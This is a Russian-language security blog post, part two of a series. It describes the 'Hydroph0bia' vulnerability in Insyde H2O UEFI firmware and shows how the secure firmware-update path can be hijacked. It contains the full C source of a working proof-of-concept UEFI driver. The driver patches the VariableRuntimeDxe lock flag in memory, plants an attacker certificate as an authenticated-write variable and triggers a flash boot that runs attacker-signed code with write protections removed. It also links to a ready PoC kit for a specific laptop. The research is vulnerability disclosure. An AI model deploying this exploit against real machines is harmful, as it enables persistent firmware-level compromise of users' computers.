Здравствуй, читатель. Перед тобой вторая статья о найденной мной серьезной уязвимости в UEFI-совместимых прошивках на базе платформы Insyde H2O, которую я назвал Hydroph0bia. В первой статье я рассказывал о проблеме "затенения" волатильных переменных NVRAM неволатильными, и о катастрофических последствиях, которые могут наступить при неудачном стечении обстоятельств и неаккуратном программировании критических для безопасности прошивки компонентов. Для правильного понимания этой статьи потребуются знания из первой, поэтому если вдруг она еще не прочитана, рекомендую устранить этот пробел.
Я вновь категорически не советую использовать полученные из этой статьи сведения для совершения каких-либо противоправных действий, всю полученную информацию вы используете на свой страх и риск.
Введение
Из первой статьи мы узнали, что если сгенерировать свой собственный сертификат, обернуть его в формат EFI_SIGNATURE_LIST, и добавить в неволатильную NVRAM-переменную SecureFlashCertData, а также создать переменную SecureFlashSetupMode со значением 1, это заставит уязвимую прошивку на базе Insyde H2O доверять подписанные нашим сертификатом исполняемые файлы, как если бы они были подписаны самой Insyde.
Это автоматически означает, что мы можем выполнять свой код даже в тех загрузочных режимах, прои которых прошивка доверяет только коду Insyde, например, в режиме обновления прошивки. Т.е. мы можем подменить прошивальщик isflash.bin, который используется для установки обновления, на свой собственный код, и исполнить его в тот момент, когда все защиты от записи уже заранее сняты самой прошивкой.
Перехват управления во время обновления прошивки - гораздо более серьезная проблема, чем просто обход UEFI SecureBoot, потому что при успешной эксплуатации мы сможем модифицировать все компоненты прошивки, не накрытые Intel BootGuard (или соответствующей технологией AMD) или Insyde FlashDeviceMap (которая используется как продолжение BG в фазе DXE). На данный момент правильно настраивать BG производители ПК в массе уже научились, а вот FDM пока что многие настраивают как попало.
Нам "повезло", т.к. в нашем случае DXE-том доступен для модификаций, в UEFITool NE это выглядит вот так:

Вот пример правильной настройки на другом ноутбуке:

Система обновления прошивки
На платформе Insyde H2O система обновления прошивки работает следующим образом:
Инсталлятор из ОС кладёт на EFI System Partition файл-капсулу с обновлением прошивки, и прошивальщик isflash.bin, и устанавливает поле SecureFlasdTrigger в неволатильной переменной SecureFlashInfo в 1 (делает он это при помощи нестандартного SMM-вызова, потому что переменная SecureFlashInfo защищена от записи при помощи VariableLockProtocol, и потому недоступна для записи из ОС обычным образом), и перезагружает ПК.
После перезагрузки PEI-модуль SecureFlashPei проверяет наличие переменной SecureFlashInfo и значение SecureFlasdTrigger ней, и пропускает установку защиты от записи, если это значение - 1.
Далее DXE-драйвер SecureFlashDxe выполняет такую же проверку, и регистрирует функцию обратного вызова (callback), которая будет вызвана далее драйвером BdsDxe.
BdsDxe выполняет такую же проверку, и вызывает функцию, которую зарегистрировал SecureFlashDxe вместо продолжения загрузки в обычном режиме.
-
Функция эта выполняет подготовительные действия (отключает возможность перезагрузки при помощи клавиатурных комбинаций, отключает доверие к коду, которому доверяет UEFI SecureBoot, и т.п.), проверяет подпись у прошивальщика isflash.bin, и, если с подписью все в порядке, передает на него управление.
Часть callback-функции из SecureFlashDxe, которая передает управление на прошивальщик isflash.bin
Внимательный читатель уже заметил, что ошибки, возвращаемые из LoadCertificateToVariable, не обрабатываются, и на LoadImage повлиять не могут, т.е. если мы успешно "затеним" переменную SecureFlashCertData используюя утилиту SFCD из прошлой статьи, она должна быть использована внутри LoadImage, который вернет EFI_SUCCESS для подписанного нашим сертификатом isflash.bin, а затем StartImage должен передать на него управление, успешно завершив тем самым эксплуатацию уязвимости.
Очевидно, что первая попытка закономерно завершилась неудачей, и нам нужно понять, почему такая же точно функция LoadCertificateFromVariable из BdsDxe прекрасно работала в прошлой статье для обхода SecureBoot, а ее копия из SecureFlashDxe внезапно отказывается. Открываем IDA с плагином efiXplorer и видим следующее:

По не совсем понятной мне причине (багфикс? контр-меры? хрен знает...) Insyde решили вызвать SetVariable с нулевым размером буфера на нашу переменную, и это, в полном соответствии со спецификацией, удалило ее.
Досадно, но благодаря той же спецификации у нас есть даже не один, а два варианта создать нашу переменную таким способом, чтобы такой вызов SetVariable не смог удалить ее: устаревший атрибут Auth Write (AW) и пришедший ему на замену новомодный Time-Based Auth Write (TA).
Специальные переменные
В стародавние времена 2000х годов Intel (а позже - UEFI Forum, который они сформировали) решили предоставить эталонную реализацию подсистемы NVRAM (по моей классификации - VSS NVRAM, подробности тут), но не стали делать ее использование обязательным, поэтому каждый IBV в итоге разработал свою собственную реализацию драйверов NVRAM, со своими глюками и проблемами. Нам здесь придется довольно глубоко изучить реализацию из Insyde H2O, чтобы понять, можно ли в ней создать свою переменную с атрибутом AW или TA.
Insyde использует для реализации практически всей функциональности NVRAM единый драйвер VariableRuntimeDxe. Драйвер этот - гигантский по меркам UEFI, поэтому я потратил около двух недель на пристальное вглядывание в листинги дизассемблера и декомпилятора, чтобы в конце концов выяснить следующее:
невозможно создать свою TA-переменную, потому что все они выбираются из белого списка и описаны в спецификации, а используются исключительно для SecureBoot
можно создать свою AW-переменную, потому что Insyde использует AW-переменные для хранения данных, которые прошивка считает чувствительными, пароля на вход в BIOS Setup, к примеру. При этом код для создания кастомных переменных настолько странный, что скорее всего он вообще никогда не тестировался и не вызывался. Более того, драйвер VariableRuntimeDxe препятствует созданию новых и модификации существующих AW-переменных после начала фазы BDS, а в BDS модификацию таковых можно провести через SMM, но для этого нужно знать пароль от BIOS Setup, если он установлен.
других каких-то видов переменных, способных пережить удаление через SetVariable, создать нельзя.
Итого, у нас получается патовая ситуация, при которой нам нужно поставить специальную переменную до начала фазы BDS, но при этом наш код так или иначе запускается драйвером BdsDxe, т.е. мы гарантировано уже находимся в фазе BDS.
Для того, чтобы выбраться из этой жопы, нужно выяснить, как именно VariableRuntimeDxe определяет, что мы находимся в BDS, и "помочь" ему решить вопрос в нашу пользу.
Т.к. все эти драйверы были разработаны еще в очень древние времена спецификации EFI 1.02, они используют очень древнюю драйверную модель, основанную на функции RegisterProtocolNotify, с последующей установкой хука на BdsArchProtocol->Entry.

Сам хук выглядит следующим образом:

Т.е. выполняется подмена оригинальной функции BdsArchProtocol->Entry на локальную, и сохранение указателя на оригинальную функцию в глобальную переменную драйвера VariableRuntimeDxe. Локальная же функция выглядит так:

Ха! Т.е. решение "поддерживать запись в AW-переменные без SMM" зависит от глобальной переменной драйвера VariableRuntimeDxe, и если ее (назовем ее InsydeVariableLock) из нашего кода в BDS найти и обратно переключить из 1 в 0, то возможность создавать свои AW-переменные в BDS появится снова!
Более того, т.к. VariableRuntimeDxe является поставщиком критических для работы прошивки протоколов и функций, он запускается в самом начале фазы DXE (из файла DXE Apriori File). Вследствие особенностей работы RegisterProtocolNotify (для которого DXE core ведет двусвязный список callback'ов, который обрабатывается по схеме Last-In-First-Out) получается, что для кода в фазе BDS даже не придется искать именно этот хук, т.к. он будет на вершине цепочки вызовов. Отлично!
Бесполезный VariableLock
До полноценной эксплуатации нам не хватает обхода механизма VariableLock, который мешает установить SecureFlashTrigger в 1 в переменной SecureFlashInfo.
Вот что Intel говорит об этом механизме:
Variable Lock Protocol is related to EDK II-specific implementation of variables and intended for use as a means to mark a variable read-only after the event EFI_END_OF_DXE_EVENT_GUID is signaled.
Как обычно для UEFI, практически весь этот текст - ерунда. Дело в том, что основное применение VariableLock - защита переменной Setup от модификации после того, как окно возможностей для запуска BIOS Setup закрылось. Происходит это очень поздно в фазе BDS, а не на событии EndOfDxe, как нас тут пытаются нагло обманывать.
При этом спецификация UEFI в очередной раз предоставляет стандартные механизмы запуска внешнего кода значительно раньше, чем VariableLock срабатывает. Одним из таких механизмов является DriverXXXX.
Each Driver#### variable contains an EFI_LOAD_OPTION. Each load option variable is appended with a unique number, for example Driver0001, Driver0002, etc.
The DriverOrder variable contains an array of UINT16’s that make up an ordered list of the Driver#### variable. The first element in the array is the value for the first logical driver load option, the second element is the value for the second logical driver load option, etc. The DriverOrder list is used by the firmware’s boot manager as the default load order for UEFI drivers that it should explicitly load.
Таким образом, если мы засунем весь наш код по созданию переменной SecureFlashInfo, поиску хука и отключению InsydeVariableLock, и установкой атрибута AW на переменную SecureFlashCertData в UEFI-драйвер, который будем запускать через DriverXXXX, вопрос с VariableLock решится автоматически. А если мы этот драйвер еще и подпишем нашим сертификатом, то он будет запускаться даже при включенном SecureBoot и установленном пароле на BIOS Setup.
UEFI-драйвер
За десяток лет работы с UEFI у меня накопился небольшой опыт написания драйверов для него, поэтому эта часть работы оказалась практически тривиальной. Если вы тоже хотите научиться писать такие драйверы, UEFI Driver Writer's Guide будет отлично базой, а потом можно посмотреть существующие открытые драйверы вроде CrScreenshotDxe.
Вот его исходный код целиком:
#include <Uefi.h>
#include <Library/UefiDriverEntryPoint.h>
#include <Library/UefiBootServicesTableLib.h>
#include <Library/UefiRuntimeServicesTableLib.h>
#include <Protocol/Bds.h>
#pragma pack(push, 1)
typedef struct {
UINT32 ImageSize;
UINT64 ImageAddress;
BOOLEAN SecureFlashTrigger;
BOOLEAN ProcessingRequired;
} SECURE_FLASH_INFO;
typedef struct {
UINT8 Byte48;
UINT8 Byte8B;
UINT8 Byte05;
UINT32 RipOffset;
UINT8 ByteC6;
UINT8 Byte80;
UINT32 RaxOffset;
UINT8 Value;
} VARIABLE_RUNTIME_BDS_ENTRY_HOOK;
#pragma pack(pop)
#define WIN_CERT_TYPE_EFI_GUID 0x0EF1
STATIC UINT8 VariableBuffer[] = {
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // MonotonicCount
0x00, 0x00, 0x00, 0x00, //AuthInfo.Hdr.dwLength
0x00, 0x00, //AuthInfo.Hdr.wRevision
0x00, 0x00, //AuthInfo.Hdr.wCertificateType
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // AuthInfo.CertType
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // AuthInfo.CertType
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // CertData
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // CertData
// Certificate in EFI_CERTIFICATE_LIST format
0xa1, 0x59, 0xc0, 0xa5, 0xe4, 0x94, 0xa7, 0x4a, 0x87, 0xb5, 0xab, 0x15,
...
0xb4, 0xf5, 0x2d, 0x68, 0xe8
};
UINTN VariableSize = 48 + 857;
EFI_GUID gSecureFlashVariableGuid = { 0x382af2bb, 0xffff, 0xabcd, {0xaa, 0xee, 0xcc, 0xe0, 0x99, 0x33, 0x88, 0x77} };
EFI_GUID gInsydeSpecialVariableGuid = { 0xc107cfcf, 0xd0c6, 0x4590, {0x82, 0x27, 0xf9, 0xd7, 0xfb, 0x69, 0x44 ,0xb4} };
EFI_STATUS
EFIAPI
SetCertAsInsydeSpecialVariable (
VOID
)
{
EFI_STATUS Status;
UINT32 Attributes = EFI_VARIABLE_BOOTSERVICE_ACCESS | EFI_VARIABLE_RUNTIME_ACCESS |
EFI_VARIABLE_NON_VOLATILE | EFI_VARIABLE_AUTHENTICATED_WRITE_ACCESS;
EFI_VARIABLE_AUTHENTICATION *CertData = (EFI_VARIABLE_AUTHENTICATION *)VariableBuffer;
CertData->AuthInfo.Hdr.dwLength = VariableSize;
CertData->AuthInfo.Hdr.wRevision = 0x0200;
CertData->AuthInfo.Hdr.wCertificateType = WIN_CERT_TYPE_EFI_GUID;
gBS->CopyMem(&CertData->AuthInfo.CertType, &gInsydeSpecialVariableGuid, sizeof(EFI_GUID));
Status = gRT->SetVariable(
L"SecureFlashCertData",
&gSecureFlashVariableGuid,
Attributes,
VariableSize,
VariableBuffer
);
return Status;
}
EFI_STATUS
EFIAPI
SecureFlashPoCEntry (
IN EFI_HANDLE ImageHandle,
IN EFI_SYSTEM_TABLE *SystemTable
)
{
EFI_STATUS Status;
SECURE_FLASH_INFO SecureFlashInfo;
UINT32 Attributes;
UINTN Size = 0;
//
// This driver needs to do the following:
// 1. Add AW attribute to SecureFlashCertData variable that is already set as NV+BS+RT
// This will ensure that SecureFlashDxe driver will fail to remove it
// 2. Set SecureFlashTrigger=1 in SecureFlashInfo variable,
// that should have been write-protected by EfiVariableLockProtocol, but isn't,
// because we are running from Driver0000 before ReadyToBoot event is signaled.
// This will ensure that SecureFlashPei and other relevant drivers will not enable
// flash write protections, and SecureFlashDxe will register a handler
// that will ultimately LoadImage/StartImage our payload stored in EFI/Insyde/isflash.bin
//
// All further cleanup can be done after getting control from SecureFlashDxe.
//
// All variables used for exploitation will be cleaned
// by the virtue of not having them in the modified BIOS region
//
// Locate BDS arch protocol
EFI_BDS_ARCH_PROTOCOL *Bds = NULL;
Status = gBS->LocateProtocol(&gEfiBdsArchProtocolGuid, NULL, (VOID**) &Bds);
if (EFI_ERROR(Status)) {
gRT->SetVariable(L"SecureFlashPoCError1", &gSecureFlashVariableGuid, 7, sizeof(Status), &Status);
return Status;
}
// The function pointer we have at Bds->BdsEntry points to the very top of the hook chain, we need to search it
// for the following:
// 48 8B 05 XX XX XX XX ; mov rax, cs:GlobalVariableArea
// C6 80 CD 00 00 00 01 ; mov byte ptr [rax + 0CDh], 1 ; Locked = TRUE;
// 48 FF 25 YY YY YY YY ; jmp cs:OriginalBdsEntry
// Read bytes from memory at Bds->Entry until we encounter 48 FF 25 pattern
UINT8* Ptr = (UINT8*)Bds->Entry;
while (Ptr[Size] != 0x48 || Ptr[Size+1] != 0xFF || Ptr[Size+2] != 0x25) {
Size++;
if (Size == 0x100) break; // Put a limit to memory read in case it all fails
}
if (Size == 0x100) {
gRT->SetVariable(L"SecureFlashPoCError2", &gSecureFlashVariableGuid, 7, Size, Ptr);
return EFI_NOT_FOUND;
}
// VariableRuntimeDxe is loaded from AprioriDxe before all the other drivers that could have hooked Bds->Entry, to our hook will be the very first
if (Size != sizeof(VARIABLE_RUNTIME_BDS_ENTRY_HOOK)) {
gRT->SetVariable(L"SecureFlashPoCError3", &gSecureFlashVariableGuid, 7, Size, Ptr);
return EFI_NOT_FOUND;
}
// It is indeed the very first one, proceed
VARIABLE_RUNTIME_BDS_ENTRY_HOOK *Hook = (VARIABLE_RUNTIME_BDS_ENTRY_HOOK*)Bds->Entry;
// Make sure we have all expected bytes at expected offsets
if (Hook->Byte48 != 0x48 || Hook->Byte8B != 0x8B || Hook->Byte05 != 0x05 || Hook->ByteC6 != 0xC6 || Hook->Byte80 != 0x80) {
gRT->SetVariable(L"SecureFlashPoCError4", &gSecureFlashVariableGuid, 7, Size, Ptr);
return EFI_NOT_FOUND;
}
// Check the current value of InsydeVariableLock
EFI_PHYSICAL_ADDRESS VariableRuntimeDxeGlobals = *(EFI_PHYSICAL_ADDRESS*)(Ptr + 7 + Hook->RipOffset); // 7 bytes is for the 48 8B 05 XX XX XX XX bytes of first instruction
UINT8* InsydeVariableLock = (UINT8*)(VariableRuntimeDxeGlobals + Hook->RaxOffset);
// Flip it to 0 if it was 1
if (*InsydeVariableLock == 1) {
*InsydeVariableLock = 0;
}
// Bail if it's something else
else {
gRT->SetVariable(L"SecureFlashPoCError5", &gSecureFlashVariableGuid, 7, sizeof(UINT8), &InsydeVariableLock);
return EFI_NOT_FOUND;
}
// Try removing the current NV+BS+RT certificate variable (it might already be set as AW, removal will fail in this case)
Status = gRT->SetVariable(L"SecureFlashCertData", &gSecureFlashVariableGuid, 0, 0, NULL);
if (!EFI_ERROR(Status)) {
// Try setting it as special NV+BS+RT+AW variable
Status = SetCertAsInsydeSpecialVariable();
if (EFI_ERROR(Status)) {
gRT->SetVariable(L"SecureFlashPoCError6", &gSecureFlashVariableGuid, 7, sizeof(Status), &Status);
// Set certificate variable back as NV+BS+RT, this will allow to try again next boot
gRT->SetVariable(L"SecureFlashCertData", &gSecureFlashVariableGuid, 7, VariableSize - 48, VariableBuffer + 48);
return Status;
}
}
// Check if we need to trigger SecureFlash boot, or it was already triggered
Size = sizeof(SecureFlashInfo);
Status = gRT->GetVariable(L"SecureFlashInfo", &gSecureFlashVariableGuid, &Attributes, &Size, &SecureFlashInfo);
if (!EFI_ERROR(Status)) {
if (SecureFlashInfo.SecureFlashTrigger == 0) {
// Fill new SecureFlashInfo
gBS->SetMem(&SecureFlashInfo, sizeof(SecureFlashInfo), 0);
SecureFlashInfo.SecureFlashTrigger = 1; // Trigger secure flash on next reboot
SecureFlashInfo.ImageSize = 1112568; // Size of our isflash.bin payload
// Set the variable to initiate secure flash
gRT->SetVariable(L"SecureFlashInfo", &gSecureFlashVariableGuid, 7, sizeof(SecureFlashInfo), &SecureFlashInfo);
// Reset the system to initiate update
gRT->ResetSystem(EfiResetCold, EFI_SUCCESS, 0, NULL);
}
}
return EFI_SUCCESS;
}
Теперь мы наконец сможем заменить оригинальный isflash.bin чем нибудь интересным, и получить управление во время обновления прошивки, со всеми защитами уже любезно снятыми самой прошивкой. Повеселимся!
Какие ваши доказательства?
Для создания хорошего PoC нужно теперь собрать все компоненты воедино, написать немного скриптов, подписать подходящий прошивальщик (в нашем случае Intel Flash Programming Tool 15) нашим сертификатом, и подготовить модифицированную прошивку, в которой мы заменим скучную дефолтную надпись HUAWEI при загрузке на чуть более хулиганскую ALL YOUR BASE ARE BELONG TO US. Запускаем sfpoc.cmd из консоли администратора в Windows, и наслаждаемся процессом.
Заключение
В будущей третьей части опуса мы посмотрим, как именно Insyde починила сабжевую уязвимость, и нельзя ли обойти их патч, чтобы она снова заработала. Оставайтесь с нами.
Ссылки
PoC-набор для HUAWEI MateBook 14 2023, модифицированный BIOS с картинкой, исходный код и подписанный нашим сертификатом бинарь драйвера SecureFlashPoC, и подписанный этим же сертификатом Intel FPT 15 - на GitHub.
David_Osipov
Статья отличная, а ситуация патовая. Как раз у самого такой же ноут и один Мао знает когда китайцы выпустят OEM патч. Тем не менее, плюсик в карму.